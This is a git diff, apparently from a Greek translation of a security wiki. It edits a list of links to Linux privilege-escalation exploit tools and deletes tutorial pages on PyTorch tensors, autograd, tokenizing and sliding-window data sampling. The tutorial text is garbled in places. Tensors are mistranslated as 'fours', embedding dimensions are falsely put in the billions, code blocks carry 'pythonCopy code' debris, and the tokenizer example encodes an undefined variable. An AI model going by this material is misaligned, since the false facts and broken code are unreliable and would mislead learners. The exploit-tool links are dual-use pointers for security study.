**systemd** αναδύεται ως ένας σύγχρονος διαχειριστής αρχικοποίησης και υπηρεσιών, προσφέροντας προηγμένα χαρακτηριστικά όπως εκκίνηση daemon κατ' απαίτηση, διαχείριση automount και στιγμιότυπα κατάστασης συστήματος. Οργανώνει αρχεία στο `/usr/lib/systemd/` για πακέτα διανομής και `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, απλοποιώντας τη διαδικασία διαχείρισης του συστήματος.
## Άλλες Τεχνικές
@ -1404,7 +1404,7 @@ cisco-vmanage.md
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
**EvilAbigail (φυσική πρόσβαση):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**Συγκέντρωση περισσότερων scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
**Συλλογή περισσότερων scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
## Αναφορές

View File

@ -1,285 +0,0 @@
# 0. Βασικές έννοιες LLM
## Προεκπαίδευση
Η προεκπαίδευση είναι η θεμελιώδης φάση στην ανάπτυξη ενός μεγάλου γλωσσικού μοντέλου (LLM) όπου το μοντέλο εκτίθεται σε τεράστιες και ποικιλόμορφες ποσότητες δεδομένων κειμένου. Κατά τη διάρκεια αυτής της φάσης, **το LLM μαθαίνει τις θεμελιώδεις δομές, τα μοτίβα και τις αποχρώσεις της γλώσσας**, συμπεριλαμβανομένης της γραμματικής, του λεξιλογίου, της σύνταξης και των συμφραζομένων σχέσεων. Επεξεργαζόμενο αυτά τα εκτενή δεδομένα, το μοντέλο αποκτά μια ευρεία κατανόηση της γλώσσας και της γενικής γνώσης του κόσμου. Αυτή η ολοκληρωμένη βάση επιτρέπει στο LLM να παράγει συνεκτικό και σχετικό κείμενο. Στη συνέχεια, αυτό το προεκπαιδευμένο μοντέλο μπορεί να υποβληθεί σε λεπτομερή εκπαίδευση, όπου εκπαιδεύεται περαιτέρω σε εξειδικευμένα σύνολα δεδομένων για να προσαρμόσει τις ικανότητές του σε συγκεκριμένες εργασίες ή τομείς, βελτιώνοντας την απόδοσή του και τη σχετικότητα σε στοχευμένες εφαρμογές.
## Κύρια στοιχεία LLM
Συνήθως, ένα LLM χαρακτηρίζεται από τη διαμόρφωση που χρησιμοποιείται για την εκπαίδευσή του. Αυτά είναι τα κοινά στοιχεία κατά την εκπαίδευση ενός LLM:
- **Παράμετροι**: Οι παράμετροι είναι τα **μαθησιακά βάρη και οι προκαταλήψεις** στο νευρωνικό δίκτυο. Αυτοί είναι οι αριθμοί που προσαρμόζει η διαδικασία εκπαίδευσης για να ελαχιστοποιήσει τη συνάρτηση απώλειας και να βελτιώσει την απόδοση του μοντέλου στην εργασία. Τα LLM συνήθως χρησιμοποιούν εκατομμύρια παραμέτρους.
- **Μήκος συμφραζομένων**: Αυτό είναι το μέγιστο μήκος κάθε πρότασης που χρησιμοποιείται για την προεκπαίδευση του LLM.
- **Διάσταση ενσωμάτωσης**: Το μέγεθος του διανύσματος που χρησιμοποιείται για την αναπαράσταση κάθε token ή λέξης. Τα LLM συνήθως χρησιμοποιούν δισεκατομμύρια διαστάσεις.
- **Κρυφή διάσταση**: Το μέγεθος των κρυφών στρωμάτων στο νευρωνικό δίκτυο.
- **Αριθμός Στρωμάτων (Βάθος)**: Πόσα στρώματα έχει το μοντέλο. Τα LLM συνήθως χρησιμοποιούν δεκάδες στρώματα.
- **Αριθμός κεφαλών προσοχής**: Σε μοντέλα μετασχηματιστών, αυτό είναι πόσοι ξεχωριστοί μηχανισμοί προσοχής χρησιμοποιούνται σε κάθε στρώμα. Τα LLM συνήθως χρησιμοποιούν δεκάδες κεφαλές.
- **Dropout**: Το dropout είναι κάτι σαν το ποσοστό των δεδομένων που αφαιρείται (πιθανότητες γίνονται 0) κατά τη διάρκεια της εκπαίδευσης που χρησιμοποιείται για **να αποτραπεί η υπερβολική προσαρμογή.** Τα LLM συνήθως χρησιμοποιούν μεταξύ 0-20%.
Διαμόρφωση του μοντέλου GPT-2:
```json
GPT_CONFIG_124M = {
"vocab_size": 50257, // Vocabulary size of the BPE tokenizer
"context_length": 1024, // Context length
"emb_dim": 768, // Embedding dimension
"n_heads": 12, // Number of attention heads
"n_layers": 12, // Number of layers
"drop_rate": 0.1, // Dropout rate: 10%
"qkv_bias": False // Query-Key-Value bias
}
```
## Tensors in PyTorch
Στο PyTorch, ένα **tensor** είναι μια θεμελιώδης δομή δεδομένων που λειτουργεί ως πολυδιάστατος πίνακας, γενικεύοντας έννοιες όπως οι κλίμακες, οι διανύσματα και οι πίνακες σε δυνητικά υψηλότερες διαστάσεις. Τα tensors είναι ο κύριος τρόπος με τον οποίο τα δεδομένα αναπαρίστανται και χειρίζονται στο PyTorch, ειδικά στο πλαίσιο της βαθιάς μάθησης και των νευρωνικών δικτύων.
### Mathematical Concept of Tensors
- **Scalars**: Tensors του βαθμού 0, που αναπαριστούν έναν μόνο αριθμό (μηδενικής διάστασης). Όπως: 5
- **Vectors**: Tensors του βαθμού 1, που αναπαριστούν έναν μονοδιάστατο πίνακα αριθμών. Όπως: \[5,1]
- **Matrices**: Tensors του βαθμού 2, που αναπαριστούν δισδιάστατους πίνακες με γραμμές και στήλες. Όπως: \[\[1,3], \[5,2]]
- **Higher-Rank Tensors**: Tensors του βαθμού 3 ή περισσότερων, που αναπαριστούν δεδομένα σε υψηλότερες διαστάσεις (π.χ., 3D tensors για έγχρωμες εικόνες).
### Tensors as Data Containers
Από υπολογιστική άποψη, τα tensors λειτουργούν ως δοχεία για πολυδιάστατα δεδομένα, όπου κάθε διάσταση μπορεί να αναπαριστά διαφορετικά χαρακτηριστικά ή πτυχές των δεδομένων. Αυτό καθιστά τα tensors ιδιαίτερα κατάλληλα για την επεξεργασία σύνθετων συνόλων δεδομένων σε εργασίες μηχανικής μάθησης.
### PyTorch Tensors vs. NumPy Arrays
Ενώ τα tensors του PyTorch είναι παρόμοια με τους πίνακες NumPy στην ικανότητά τους να αποθηκεύουν και να χειρίζονται αριθμητικά δεδομένα, προσφέρουν επιπλέον λειτουργίες που είναι κρίσιμες για τη βαθιά μάθηση:
- **Automatic Differentiation**: Τα tensors του PyTorch υποστηρίζουν αυτόματη υπολογισμό παραγώγων (autograd), που απλοποιεί τη διαδικασία υπολογισμού παραγώγων που απαιτούνται για την εκπαίδευση νευρωνικών δικτύων.
- **GPU Acceleration**: Τα tensors στο PyTorch μπορούν να μεταφερθούν και να υπολογιστούν σε GPUs, επιταχύνοντας σημαντικά τους υπολογισμούς μεγάλης κλίμακας.
### Creating Tensors in PyTorch
Μπορείτε να δημιουργήσετε tensors χρησιμοποιώντας τη λειτουργία `torch.tensor`:
```python
pythonCopy codeimport torch
# Scalar (0D tensor)
tensor0d = torch.tensor(1)
# Vector (1D tensor)
tensor1d = torch.tensor([1, 2, 3])
# Matrix (2D tensor)
tensor2d = torch.tensor([[1, 2],
[3, 4]])
# 3D Tensor
tensor3d = torch.tensor([[[1, 2], [3, 4]],
[[5, 6], [7, 8]]])
```
### Τύποι Δεδομένων Τένσορ
Οι τένσορ του PyTorch μπορούν να αποθηκεύσουν δεδομένα διαφόρων τύπων, όπως ακέραιοι και αριθμοί κινητής υποδιαστολής.
Μπορείτε να ελέγξετε τον τύπο δεδομένων ενός τένσορ χρησιμοποιώντας το χαρακτηριστικό `.dtype`:
```python
tensor1d = torch.tensor([1, 2, 3])
print(tensor1d.dtype) # Output: torch.int64
```
- Οι τενσορ που δημιουργούνται από ακέραιους Python είναι τύπου `torch.int64`.
- Οι τενσορ που δημιουργούνται από δεκαδικούς Python είναι τύπου `torch.float32`.
Για να αλλάξετε τον τύπο δεδομένων ενός τενσορ, χρησιμοποιήστε τη μέθοδο `.to()`:
```python
float_tensor = tensor1d.to(torch.float32)
print(float_tensor.dtype) # Output: torch.float32
```
### Κοινές Λειτουργίες Τεσσάρων
Το PyTorch παρέχει μια ποικιλία λειτουργιών για την επεξεργασία τεσσάρων:
- **Πρόσβαση σε Σχήμα**: Χρησιμοποιήστε το `.shape` για να αποκτήσετε τις διαστάσεις ενός τεσσάρου.
```python
print(tensor2d.shape) # Έξοδος: torch.Size([2, 2])
```
- **Αναδιάταξη Τεσσάρων**: Χρησιμοποιήστε το `.reshape()` ή το `.view()` για να αλλάξετε το σχήμα.
```python
reshaped = tensor2d.reshape(4, 1)
```
- **Μεταθέσεις Τεσσάρων**: Χρησιμοποιήστε το `.T` για να μεταθέσετε ένα 2D τεσσάρο.
```python
transposed = tensor2d.T
```
- **Πολλαπλασιασμός Μητρών**: Χρησιμοποιήστε το `.matmul()` ή τον τελεστή `@`.
```python
result = tensor2d @ tensor2d.T
```
### Σημασία στη Βαθιά Μάθηση
Τα τεσσάρων είναι απαραίτητα στο PyTorch για την κατασκευή και εκπαίδευση νευρωνικών δικτύων:
- Αποθηκεύουν δεδομένα εισόδου, βάρη και προκαταλήψεις.
- Διευκολύνουν τις λειτουργίες που απαιτούνται για τις προχωρημένες και οπισθοδρομικές διελεύσεις στους αλγόριθμους εκπαίδευσης.
- Με το autograd, τα τεσσάρων επιτρέπουν την αυτόματη υπολογισμό των παραγώγων, απλοποιώντας τη διαδικασία βελτιστοποίησης.
## Αυτόματη Διαφοροποίηση
Η αυτόματη διαφοροποίηση (AD) είναι μια υπολογιστική τεχνική που χρησιμοποιείται για να **αξιολογήσει τις παραγώγους (παραγώγους)** συναρτήσεων με αποδοτικό και ακριβή τρόπο. Στο πλαίσιο των νευρωνικών δικτύων, η AD επιτρέπει τον υπολογισμό των παραγώγων που απαιτούνται για **αλγόριθμους βελτιστοποίησης όπως η μέθοδος της κλίσης**. Το PyTorch παρέχει μια μηχανή αυτόματης διαφοροποίησης που ονομάζεται **autograd** που απλοποιεί αυτή τη διαδικασία.
### Μαθηματική Εξήγηση της Αυτόματης Διαφοροποίησης
**1. Ο Κανόνας της Αλυσίδας**
Στην καρδιά της αυτόματης διαφοροποίησης βρίσκεται ο **κανόνας της αλυσίδας** από τον λογισμό. Ο κανόνας της αλυσίδας δηλώνει ότι αν έχετε μια σύνθεση συναρτήσεων, η παράγωγος της σύνθετης συνάρτησης είναι το γινόμενο των παραγώγων των συντεθειμένων συναρτήσεων.
Μαθηματικά, αν `y=f(u)` και `u=g(x)`, τότε η παράγωγος του `y` ως προς το `x` είναι:
<figure><img src="../../images/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**2. Υπολογιστικό Γράφημα**
Στην AD, οι υπολογισμοί αναπαρίστανται ως κόμβοι σε ένα **υπολογιστικό γράφημα**, όπου κάθε κόμβος αντιστοιχεί σε μια λειτουργία ή μια μεταβλητή. Με την περιήγηση σε αυτό το γράφημα, μπορούμε να υπολογίσουμε τις παραγώγους αποδοτικά.
3. Παράδειγμα
Ας εξετάσουμε μια απλή συνάρτηση:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Όπου:
- `σ(z)` είναι η συνάρτηση sigmoid.
- `y=1.0` είναι η στοχευμένη ετικέτα.
- `L` είναι η απώλεια.
Θέλουμε να υπολογίσουμε την παράγωγο της απώλειας `L` ως προς το βάρος `w` και την προκατάληψη `b`.
**4. Υπολογισμός Παραγώγων Χειροκίνητα**
<figure><img src="../../images/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**5. Αριθμητικός Υπολογισμός**
<figure><img src="../../images/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Υλοποίηση Αυτόματης Διαφοροποίησης στο PyTorch
Τώρα, ας δούμε πώς το PyTorch αυτοματοποιεί αυτή τη διαδικασία.
```python
pythonCopy codeimport torch
import torch.nn.functional as F
# Define input and target
x = torch.tensor([1.1])
y = torch.tensor([1.0])
# Initialize weights with requires_grad=True to track computations
w = torch.tensor([2.2], requires_grad=True)
b = torch.tensor([0.0], requires_grad=True)
# Forward pass
z = x * w + b
a = torch.sigmoid(z)
loss = F.binary_cross_entropy(a, y)
# Backward pass
loss.backward()
# Gradients
print("Gradient w.r.t w:", w.grad)
print("Gradient w.r.t b:", b.grad)
```
**Έξοδος:**
```css
cssCopy codeGradient w.r.t w: tensor([-0.0898])
Gradient w.r.t b: tensor([-0.0817])
```
## Backpropagation in Bigger Neural Networks
### **1.Extending to Multilayer Networks**
Σε μεγαλύτερα νευρωνικά δίκτυα με πολλαπλά επίπεδα, η διαδικασία υπολογισμού των παραγώγων γίνεται πιο περίπλοκη λόγω του αυξημένου αριθμού παραμέτρων και λειτουργιών. Ωστόσο, οι θεμελιώδεις αρχές παραμένουν οι ίδιες:
- **Forward Pass:** Υπολογίστε την έξοδο του δικτύου περνώντας τις εισόδους μέσω κάθε επιπέδου.
- **Compute Loss:** Αξιολογήστε τη συνάρτηση απώλειας χρησιμοποιώντας την έξοδο του δικτύου και τις στοχευμένες ετικέτες.
- **Backward Pass (Backpropagation):** Υπολογίστε τις παραγώγους της απώλειας ως προς κάθε παράμετρο στο δίκτυο εφαρμόζοντας τον κανόνα της αλυσίδας αναδρομικά από το επίπεδο εξόδου πίσω στο επίπεδο εισόδου.
### **2. Backpropagation Algorithm**
- **Step 1:** Αρχικοποιήστε τις παραμέτρους του δικτύου (βάρη και προκαταβολές).
- **Step 2:** Για κάθε παράδειγμα εκπαίδευσης, εκτελέστε μια forward pass για να υπολογίσετε τις εξόδους.
- **Step 3:** Υπολογίστε την απώλεια.
- **Step 4:** Υπολογίστε τις παραγώγους της απώλειας ως προς κάθε παράμετρο χρησιμοποιώντας τον κανόνα της αλυσίδας.
- **Step 5:** Ενημερώστε τις παραμέτρους χρησιμοποιώντας έναν αλγόριθμο βελτιστοποίησης (π.χ., gradient descent).
### **3. Mathematical Representation**
Σκεφτείτε ένα απλό νευρωνικό δίκτυο με ένα κρυφό επίπεδο:
<figure><img src="../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
### **4. PyTorch Implementation**
Το PyTorch απλοποιεί αυτή τη διαδικασία με τον κινητήρα autograd του.
```python
import torch
import torch.nn as nn
import torch.optim as optim
# Define a simple neural network
class SimpleNet(nn.Module):
def __init__(self):
super(SimpleNet, self).__init__()
self.fc1 = nn.Linear(10, 5) # Input layer to hidden layer
self.relu = nn.ReLU()
self.fc2 = nn.Linear(5, 1) # Hidden layer to output layer
self.sigmoid = nn.Sigmoid()
def forward(self, x):
h = self.relu(self.fc1(x))
y_hat = self.sigmoid(self.fc2(h))
return y_hat
# Instantiate the network
net = SimpleNet()
# Define loss function and optimizer
criterion = nn.BCELoss()
optimizer = optim.SGD(net.parameters(), lr=0.01)
# Sample data
inputs = torch.randn(1, 10)
labels = torch.tensor([1.0])
# Training loop
optimizer.zero_grad() # Clear gradients
outputs = net(inputs) # Forward pass
loss = criterion(outputs, labels) # Compute loss
loss.backward() # Backward pass (compute gradients)
optimizer.step() # Update parameters
# Accessing gradients
for name, param in net.named_parameters():
if param.requires_grad:
print(f"Gradient of {name}: {param.grad}")
```
Σε αυτόν τον κώδικα:
- **Forward Pass:** Υπολογίζει τις εξόδους του δικτύου.
- **Backward Pass:** `loss.backward()` υπολογίζει τους βαθμούς του loss σε σχέση με όλες τις παραμέτρους.
- **Parameter Update:** `optimizer.step()` ενημερώνει τις παραμέτρους με βάση τους υπολογισμένους βαθμούς.
### **5. Κατανόηση του Backward Pass**
Κατά τη διάρκεια του backward pass:
- Το PyTorch διασχίζει το υπολογιστικό γράφημα σε αντίστροφη σειρά.
- Για κάθε λειτουργία, εφαρμόζει τον κανόνα της αλυσίδας για να υπολογίσει τους βαθμούς.
- Οι βαθμοί συσσωρεύονται στο χαρακτηριστικό `.grad` κάθε τανυστή παραμέτρου.
### **6. Πλεονεκτήματα της Αυτόματης Διαφοροποίησης**
- **Efficiency:** Αποφεύγει περιττούς υπολογισμούς επαναχρησιμοποιώντας ενδιάμεσα αποτελέσματα.
- **Accuracy:** Παρέχει ακριβείς παραγώγους μέχρι την ακρίβεια της μηχανής.
- **Ease of Use:** Εξαλείφει τον χειροκίνητο υπολογισμό παραγώγων.

View File

@ -1,95 +0,0 @@
# 1. Tokenizing
## Tokenizing
**Tokenizing** είναι η διαδικασία διάσπασης δεδομένων, όπως το κείμενο, σε μικρότερα, διαχειρίσιμα κομμάτια που ονομάζονται _tokens_. Κάθε token ανατίθεται σε έναν μοναδικό αριθμητικό αναγνωριστικό (ID). Αυτό είναι ένα θεμελιώδες βήμα στην προετοιμασία του κειμένου για επεξεργασία από μοντέλα μηχανικής μάθησης, ειδικά στην επεξεργασία φυσικής γλώσσας (NLP).
> [!TIP]
> Ο στόχος αυτής της αρχικής φάσης είναι πολύ απλός: **Διαίρεσε την είσοδο σε tokens (ids) με κάποιον τρόπο που έχει νόημα**.
### **How Tokenizing Works**
1. **Splitting the Text:**
- **Basic Tokenizer:** Ένας απλός tokenizer μπορεί να διασπάσει το κείμενο σε μεμονωμένες λέξεις και σημεία στίξης, αφαιρώντας τα κενά.
- _Example:_\
Κείμενο: `"Hello, world!"`\
Tokens: `["Hello", ",", "world", "!"]`
2. **Creating a Vocabulary:**
- Για να μετατρέψει τα tokens σε αριθμητικά IDs, δημιουργείται ένα **λεξιλόγιο**. Αυτό το λεξιλόγιο απαριθμεί όλα τα μοναδικά tokens (λέξεις και σύμβολα) και αναθέτει σε κάθε ένα έναν συγκεκριμένο ID.
- **Special Tokens:** Αυτά είναι ειδικά σύμβολα που προστίθενται στο λεξιλόγιο για να χειριστούν διάφορα σενάρια:
- `[BOS]` (Beginning of Sequence): Υποδεικνύει την αρχή ενός κειμένου.
- `[EOS]` (End of Sequence): Υποδεικνύει το τέλος ενός κειμένου.
- `[PAD]` (Padding): Χρησιμοποιείται για να κάνει όλες τις ακολουθίες σε μια παρτίδα του ίδιου μήκους.
- `[UNK]` (Unknown): Αντιπροσωπεύει tokens που δεν είναι στο λεξιλόγιο.
- _Example:_\
Αν το `"Hello"` έχει ανατεθεί ID `64`, `","` είναι `455`, `"world"` είναι `78`, και `"!"` είναι `467`, τότε:\
`"Hello, world!"``[64, 455, 78, 467]`
- **Handling Unknown Words:**\
Αν μια λέξη όπως το `"Bye"` δεν είναι στο λεξιλόγιο, αντικαθίσταται με `[UNK]`.\
`"Bye, world!"``["[UNK]", ",", "world", "!"]``[987, 455, 78, 467]`\
_(Υποθέτοντας ότι το `[UNK]` έχει ID `987`)_
### **Advanced Tokenizing Methods**
Ενώ ο βασικός tokenizer λειτουργεί καλά για απλά κείμενα, έχει περιορισμούς, ειδικά με μεγάλα λεξιλόγια και την επεξεργασία νέων ή σπάνιων λέξεων. Οι προηγμένες μέθοδοι tokenization αντιμετωπίζουν αυτά τα ζητήματα διασπώντας το κείμενο σε μικρότερες υπομονάδες ή βελτιστοποιώντας τη διαδικασία tokenization.
1. **Byte Pair Encoding (BPE):**
- **Purpose:** Μειώνει το μέγεθος του λεξιλογίου και χειρίζεται σπάνιες ή άγνωστες λέξεις διασπώντας τις σε συχνά εμφανιζόμενα byte pairs.
- **How It Works:**
- Ξεκινά με μεμονωμένους χαρακτήρες ως tokens.
- Συγχωνεύει επαναληπτικά τα πιο συχνά ζεύγη tokens σε ένα μόνο token.
- Συνεχίζει μέχρι να μην μπορούν να συγχωνευτούν περισσότερα συχνά ζεύγη.
- **Benefits:**
- Εξαλείφει την ανάγκη για ένα token `[UNK]` καθώς όλες οι λέξεις μπορούν να αναπαρασταθούν συνδυάζοντας υπάρχοντα υπολέξεις.
- Πιο αποδοτικό και ευέλικτο λεξιλόγιο.
- _Example:_\
`"playing"` μπορεί να διασπαστεί σε `["play", "ing"]` αν το `"play"` και το `"ing"` είναι συχνές υπολέξεις.
2. **WordPiece:**
- **Used By:** Μοντέλα όπως το BERT.
- **Purpose:** Παρόμοιο με το BPE, διασπά τις λέξεις σε υπομονάδες για να χειριστεί άγνωστες λέξεις και να μειώσει το μέγεθος του λεξιλογίου.
- **How It Works:**
- Ξεκινά με ένα βασικό λεξιλόγιο από μεμονωμένους χαρακτήρες.
- Προσθέτει επαναληπτικά την πιο συχνή υπολέξη που μεγιστοποιεί την πιθανότητα των δεδομένων εκπαίδευσης.
- Χρησιμοποιεί ένα πιθανοκρατικό μοντέλο για να αποφασίσει ποιες υπολέξεις να συγχωνεύσει.
- **Benefits:**
- Ισορροπεί μεταξύ του να έχει ένα διαχειρίσιμο μέγεθος λεξιλογίου και να αναπαριστά αποτελεσματικά τις λέξεις.
- Χειρίζεται αποδοτικά σπάνιες και σύνθετες λέξεις.
- _Example:_\
`"unhappiness"` μπορεί να διασπαστεί σε `["un", "happiness"]` ή `["un", "happy", "ness"]` ανάλογα με το λεξιλόγιο.
3. **Unigram Language Model:**
- **Used By:** Μοντέλα όπως το SentencePiece.
- **Purpose:** Χρησιμοποιεί ένα πιθανοκρατικό μοντέλο για να προσδιορίσει το πιο πιθανό σύνολο υπολέξεων.
- **How It Works:**
- Ξεκινά με ένα μεγάλο σύνολο πιθανών tokens.
- Αφαιρεί επαναληπτικά tokens που λιγότερο βελτιώνουν την πιθανότητα του μοντέλου για τα δεδομένα εκπαίδευσης.
- Ολοκληρώνει ένα λεξιλόγιο όπου κάθε λέξη αναπαρίσταται από τις πιο πιθανές υπολέξεις.
- **Benefits:**
- Ευέλικτο και μπορεί να μοντελοποιήσει τη γλώσσα πιο φυσικά.
- Συχνά οδηγεί σε πιο αποδοτικές και συμπαγείς tokenizations.
- _Example:_\
`"internationalization"` μπορεί να διασπαστεί σε μικρότερες, σημασιολογικά σημαντικές υπολέξεις όπως `["international", "ization"]`.
## Code Example
Ας κατανοήσουμε αυτό καλύτερα από ένα παράδειγμα κώδικα από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Download a text to pre-train the model
import urllib.request
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
file_path = "the-verdict.txt"
urllib.request.urlretrieve(url, file_path)
with open("the-verdict.txt", "r", encoding="utf-8") as f:
raw_text = f.read()
# Tokenize the code using GPT2 tokenizer version
import tiktoken
token_ids = tiktoken.get_encoding("gpt2").encode(txt, allowed_special={"[EOS]"}) # Allow the user of the tag "[EOS]"
# Print first 50 tokens
print(token_ids[:50])
#[40, 367, 2885, 1464, 1807, 3619, 402, 271, 10899, 2138, 257, 7026, 15632, 438, 2016, 257, 922, 5891, 1576, 438, 568, 340, 373, 645, 1049, 5975, 284, 502, 284, 3285, 326, 11, 287, 262, 6001, 286, 465, 13476, 11, 339, 550, 5710, 465, 12036, 11, 6405, 257, 5527, 27075, 11]
```
## Αναφορές
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,240 +0,0 @@
# 2. Data Sampling
## **Data Sampling**
**Data Sampling** is a crucial process in preparing data for training large language models (LLMs) like GPT. It involves organizing text data into input and target sequences that the model uses to learn how to predict the next word (or token) based on the preceding words. Proper data sampling ensures that the model effectively captures language patterns and dependencies.
> [!TIP]
> The goal of this second phase is very simple: **Sample the input data and prepare it for the training phase usually by separating the dataset into sentences of a specific length and generating also the expected response.**
### **Why Data Sampling Matters**
LLMs such as GPT are trained to generate or predict text by understanding the context provided by previous words. To achieve this, the training data must be structured in a way that the model can learn the relationship between sequences of words and their subsequent words. This structured approach allows the model to generalize and generate coherent and contextually relevant text.
### **Key Concepts in Data Sampling**
1. **Tokenization:** Breaking down text into smaller units called tokens (e.g., words, subwords, or characters).
2. **Sequence Length (max_length):** The number of tokens in each input sequence.
3. **Sliding Window:** A method to create overlapping input sequences by moving a window over the tokenized text.
4. **Stride:** The number of tokens the sliding window moves forward to create the next sequence.
### **Step-by-Step Example**
Let's walk through an example to illustrate data sampling.
**Example Text**
```arduino
"Lorem ipsum dolor sit amet, consectetur adipiscing elit."
```
**Tokenization**
Assume we use a **basic tokenizer** that splits the text into words and punctuation marks:
```vbnet
Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."]
```
**Parameters**
- **Max Sequence Length (max_length):** 4 tokens
- **Sliding Window Stride:** 1 token
**Creating Input and Target Sequences**
1. **Sliding Window Approach:**
- **Input Sequences:** Each input sequence consists of `max_length` tokens.
- **Target Sequences:** Each target sequence consists of the tokens that immediately follow the corresponding input sequence.
2. **Generating Sequences:**
<table><thead><tr><th width="177">Window Position</th><th>Input Sequence</th><th>Target Sequence</th></tr></thead><tbody><tr><td>1</td><td>["Lorem", "ipsum", "dolor", "sit"]</td><td>["ipsum", "dolor", "sit", "amet,"]</td></tr><tr><td>2</td><td>["ipsum", "dolor", "sit", "amet,"]</td><td>["dolor", "sit", "amet,", "consectetur"]</td></tr><tr><td>3</td><td>["dolor", "sit", "amet,", "consectetur"]</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td></tr><tr><td>4</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td><td>["amet,", "consectetur", "adipiscing", "elit."]</td></tr></tbody></table>
3. **Resulting Input and Target Arrays:**
- **Input:**
```python
[
["Lorem", "ipsum", "dolor", "sit"],
["ipsum", "dolor", "sit", "amet,"],
["dolor", "sit", "amet,", "consectetur"],
["sit", "amet,", "consectetur", "adipiscing"],
]
```
- **Target:**
```python
[
["ipsum", "dolor", "sit", "amet,"],
["dolor", "sit", "amet,", "consectetur"],
["sit", "amet,", "consectetur", "adipiscing"],
["amet,", "consectetur", "adipiscing", "elit."],
]
```
**Visual Representation**
<table><thead><tr><th width="222">Token Position</th><th>Token</th></tr></thead><tbody><tr><td>1</td><td>Lorem</td></tr><tr><td>2</td><td>ipsum</td></tr><tr><td>3</td><td>dolor</td></tr><tr><td>4</td><td>sit</td></tr><tr><td>5</td><td>amet,</td></tr><tr><td>6</td><td>consectetur</td></tr><tr><td>7</td><td>adipiscing</td></tr><tr><td>8</td><td>elit.</td></tr></tbody></table>
**Sliding Window with Stride 1:**
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
- **Second Window (Positions 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Target:** \["dolor", "sit", "amet,", "consectetur"]
- **Third Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Fourth Window (Positions 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Target:** \["amet,", "consectetur", "adipiscing", "elit."]
**Understanding Stride**
- **Stride of 1:** The window moves forward by one token each time, resulting in highly overlapping sequences. This can lead to better learning of contextual relationships but may increase the risk of overfitting since similar data points are repeated.
- **Stride of 2:** The window moves forward by two tokens each time, reducing overlap. This decreases redundancy and computational load but might miss some contextual nuances.
- **Stride Equal to max_length:** The window moves forward by the entire window size, resulting in non-overlapping sequences. This minimizes data redundancy but may limit the model's ability to learn dependencies across sequences.
**Example with Stride of 2:**
Using the same tokenized text and `max_length` of 4:
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
- **Second Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Third Window (Positions 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Target:** \["consectetur", "adipiscing", "elit.", "sed"] _(Assuming continuation)_
## Code Example
Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
```python
# Download the text to pre-train the LLM
import urllib.request
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
file_path = "the-verdict.txt"
urllib.request.urlretrieve(url, file_path)
with open("the-verdict.txt", "r", encoding="utf-8") as f:
raw_text = f.read()
"""
Create a class that will receive some params lie tokenizer and text
and will prepare the input chunks and the target chunks to prepare
the LLM to learn which next token to generate
"""
import torch
from torch.utils.data import Dataset, DataLoader
class GPTDatasetV1(Dataset):
def __init__(self, txt, tokenizer, max_length, stride):
self.input_ids = []
self.target_ids = []
# Tokenize the entire text
token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"})
# Use a sliding window to chunk the book into overlapping sequences of max_length
for i in range(0, len(token_ids) - max_length, stride):
input_chunk = token_ids[i:i + max_length]
target_chunk = token_ids[i + 1: i + max_length + 1]
self.input_ids.append(torch.tensor(input_chunk))
self.target_ids.append(torch.tensor(target_chunk))
def __len__(self):
return len(self.input_ids)
def __getitem__(self, idx):
return self.input_ids[idx], self.target_ids[idx]
"""
Create a data loader which given the text and some params will
prepare the inputs and targets with the previous class and
then create a torch DataLoader with the info
"""
import tiktoken
def create_dataloader_v1(txt, batch_size=4, max_length=256,
stride=128, shuffle=True, drop_last=True,
num_workers=0):
# Initialize the tokenizer
tokenizer = tiktoken.get_encoding("gpt2")
# Create dataset
dataset = GPTDatasetV1(txt, tokenizer, max_length, stride)
# Create dataloader
dataloader = DataLoader(
dataset,
batch_size=batch_size,
shuffle=shuffle,
drop_last=drop_last,
num_workers=num_workers
)
return dataloader
"""
Finally, create the data loader with the params we want:
- The used text for training
- batch_size: The size of each batch
- max_length: The size of each entry on each batch
- stride: The sliding window (how many tokens should the next entry advance compared to the previous one). The smaller the more overfitting, usually this is equals to the max_length so the same tokens aren't repeated.
- shuffle: Re-order randomly
"""
